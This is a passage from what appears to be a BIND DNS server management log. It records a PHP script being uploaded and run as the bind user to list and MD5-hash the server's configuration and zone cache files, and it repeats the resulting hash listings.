MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 18:20:23: Establishing a connection
2026-01-03 18:20:24:
PUT: /tmp/pkp119896
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 18:20:24:
runuser -l bind -s /bin/bash -c '/tmp/pkp119896; rm /tmp/pkp119896'
2026-01-03 18:20:24:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 18:20:24: Establishing a connection
2026-01-03 18:20:24:
PUT: /tmp/pkp175789
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 18:20:24:
runuser -l bind -s /bin/bash -c '/tmp/pkp175789; rm /tmp/pkp175789'
2026-01-03 18:20:24:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
